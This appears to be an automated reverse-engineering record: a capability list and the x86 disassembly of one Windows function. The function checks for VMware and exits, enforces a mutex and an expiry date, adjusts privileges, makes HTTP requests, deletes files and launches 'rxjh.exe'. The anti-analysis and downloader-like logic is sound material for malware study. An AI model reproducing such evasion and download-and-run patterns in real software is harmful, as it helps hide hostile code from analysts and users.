Function at 0x402318
Capabilities:
Allocate or change rwx memory
Check mutex and terminate process on windows
Check mutex on windows
Create http request
Create process on windows
Create thread
Delete file
Initialize winsock library
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0x401401
call fcn.0040309f
push str.VMwareVMware
push 0x401401
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
jne 0x402341
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0x40144e
push 0xffffffffffffffff
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
test eax, eax
je 0x402369
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x402369
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0x4010d6
push 0x1ff
push 0xffffffffffffffff
call dword [sym.imp.ADVAPI32.DLL_OpenProcessToken]
test eax, eax
je 0x4023a4
push 0
push 0
push 0x10
push 0x4010d6
push 0
mov eax, dword [0x4010d6]
push eax
call dword [sym.imp.ADVAPI32.DLL_AdjustTokenPrivileges]
mov eax, dword [0x4010d6]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x4011b3
push 0x202
call dword [sym.imp.WS2_32.DLL_WSAStartup]
push 2
pop eax
mov word [0x401341], ax
call dword [sym.imp.USER32.DLL_CreateMenu]
mov dword [0x4010c2], eax
call dword [sym.imp.USER32.DLL_CreatePopupMenu]
mov dword [0x40107e], eax
push 0
mov eax, dword [0x40107e]
push eax
push 0x10
mov eax, dword [0x4010c2]
push eax
call dword [sym.imp.USER32.DLL_AppendMenuA]
push 0x401457
push 0x3e9
push 0
mov eax, dword [0x40107e]
push eax
call dword [sym.imp.USER32.DLL_AppendMenuA]
push 0
push 0
push 0x800
mov eax, dword [0x40107e]
push eax
call dword [sym.imp.USER32.DLL_AppendMenuA]
push 0x401460
push 0x3ea
push 0
mov eax, dword [0x40107e]
push eax
call dword [sym.imp.USER32.DLL_AppendMenuA]
push 0x401469
push 0x3eb
push 0
mov eax, dword [0x40107e]
push eax
call dword [sym.imp.USER32.DLL_AppendMenuA]
push 0x401472
push 0x3ec
push 0
mov eax, dword [0x40107e]
push eax
call dword [sym.imp.USER32.DLL_AppendMenuA]
push 4
push 0x1000
push 0x2a58
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [0x40108a], eax
mov eax, dword [0x40108a]
push eax
call fcn.00402a3c
mov eax, dword [0x40108a]
add eax, 0x400
mov dword [0x401092], eax
mov eax, dword [0x40108a]
add eax, 0x2802
mov dword [0x4010ce], eax
mov eax, dword [0x4010ce]
add eax, 0xc8
mov dword [0x4010d6], eax
mov eax, dword [0x40108a]
add eax, 0x2910
mov dword [0x401082], eax
push 0x40
mov eax, dword [0x4010d6]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x5c
mov eax, dword [0x4010d6]
push eax
call dword [sym.imp.MSVCRT.DLL_strrchr]
inc eax
mov dword [0x4010e2], eax
mov eax, dword [0x4010e2]
push eax
push 0x401369
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov eax, dword [0x4010d6]
push eax
call fcn.00403c66
push str.zdY_ziJ6Su_QoCa__m_k.__bh4
mov eax, dword [0x401082]
push eax
call dword [sym.imp.MSVCRT.DLL_strcpy]
push str.zdY_ziJ6Su_QoCa__m_k.__bh4
mov eax, dword [0x4010ce]
push eax
call dword [sym.imp.MSVCRT.DLL_strcpy]
mov eax, dword [0x40108e]
push eax
call dword [sym.imp.MSVCRT.DLL_free]
mov eax, dword [0x401082]
push eax
call fcn.004029a2
mov eax, dword [0x4010ce]
push eax
call fcn.004029a2
mov dword [0x4010e6], eax
push 0x4010a2
call dword [sym.imp.MSVCRT.DLL_time]
push 0x4010a6
push 0x40149a
push 0x4010e6
call dword [sym.imp.MSVCRT.DLL_sscanf]
mov eax, dword [0x4010a6]
imul eax, eax, 0x15180
mov dword [0x4010a6], eax
mov eax, dword [0x4010a6]
push eax
mov eax, dword [0x4010a2]
push eax
pop edx
pop eax
cmp eax, edx
jge 0x402591
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov edi, 0x401351
mov eax, dword [0x401061]
mov dword [edi + 4], eax
push 7
pop eax
mov dword [edi + 0xc], eax
mov eax, 0x3ff
mov dword [edi + 0x10], eax
mov eax, dword [0x401018]
mov dword [edi + 0x14], eax
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WININET.DLL_InternetOpenA]
mov dword [0x401096], eax
push 0x2f
mov eax, dword [0x4010ce]
add eax, 0xa
push eax
call dword [sym.imp.MSVCRT.DLL_strchr]
inc eax
mov dword [0x4010f6], eax
call fcn.00402789
mov eax, dword [0x40115e]
test eax, eax
jne 0x402605
mov eax, dword [0x401082]
push eax
mov eax, dword [0x4010ce]
push eax
call dword [sym.imp.MSVCRT.DLL_strcpy]
call fcn.00402789
push 0x2e
mov eax, dword [0x4010ce]
push eax
call dword [sym.imp.MSVCRT.DLL_strrchr]
inc eax
mov dword [0x4010aa], eax
push 0x40149d
mov eax, dword [0x4010aa]
push eax
call dword [sym.imp.MSVCRT.DLL_strcpy]
mov eax, dword [0x4010f6]
push eax
push 0x401401
call dword [sym.imp.MSVCRT.DLL_strcpy]
mov eax, dword [0x401162]
push eax
push 0x401401
call fcn.00403d03
push eax
pop edx
pop eax
cmp eax, edx
jne 0x402659
call fcn.00402a73
jmp 0x4026bb
push 0x401401
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push str..zip
mov eax, dword [0x4010f6]
push eax
call dword [sym.imp.MSVCRT.DLL_strcat]
mov eax, dword [0x4010f6]
push eax
mov eax, dword [0x4010d6]
push eax
call dword [sym.imp.MSVCRT.DLL_strcpy]
push 0x50
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 2
call fcn.00403460
push 0x40
push 0x401401
push 0x4014a1
push 0
call dword [sym.imp.USER32.DLL_MessageBoxA]
call fcn.00402a73
mov eax, dword [0x4010f6]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x4014b0
mov eax, dword [0x4010aa]
push eax
call dword [sym.imp.MSVCRT.DLL_strcpy]
mov eax, dword [0x4010f6]
push eax
call fcn.00403c66
mov eax, dword [0x40106e]
test eax, eax
jle 0x4026ec
mov eax, dword [0x40108e]
mov dword [0x401072], eax
jmp 0x4026f3
push 1
call fcn.00403460
mov eax, str.open
mov dword [0x40117b], eax
push 5
pop eax
mov dword [0x40118b], eax
mov eax, str.Client.exe
mov dword [0x40117f], eax
mov eax, str.client
mov dword [0x401187], eax
mov eax, dword [0x4010d6]
mov dword [0x401183], eax
push 0x40
pop eax
mov dword [0x401173], eax
push 0x3c
pop eax
mov dword [0x40116f], eax
push 0x401351
push 0
call dword [sym.imp.SHELL32.DLL_Shell_NotifyIconA]
mov eax, dword [0x40115e]
push eax
call dword [sym.imp.WS2_32.DLL_inet_ntoa]
mov dword [0x4010fa], eax
call fcn.00403186
push 0
push 0
push 0x4027ae
call dword [sym.imp.MSVCRT.DLL__beginthread]
push 0
push 0x4014cb
push 0
push str.rxjh.exe
push str.open
push 0
call dword [sym.imp.SHELL32.DLL_ShellExecuteA]
call fcn.0040204e
mov esp, ebp
pop ebp
ret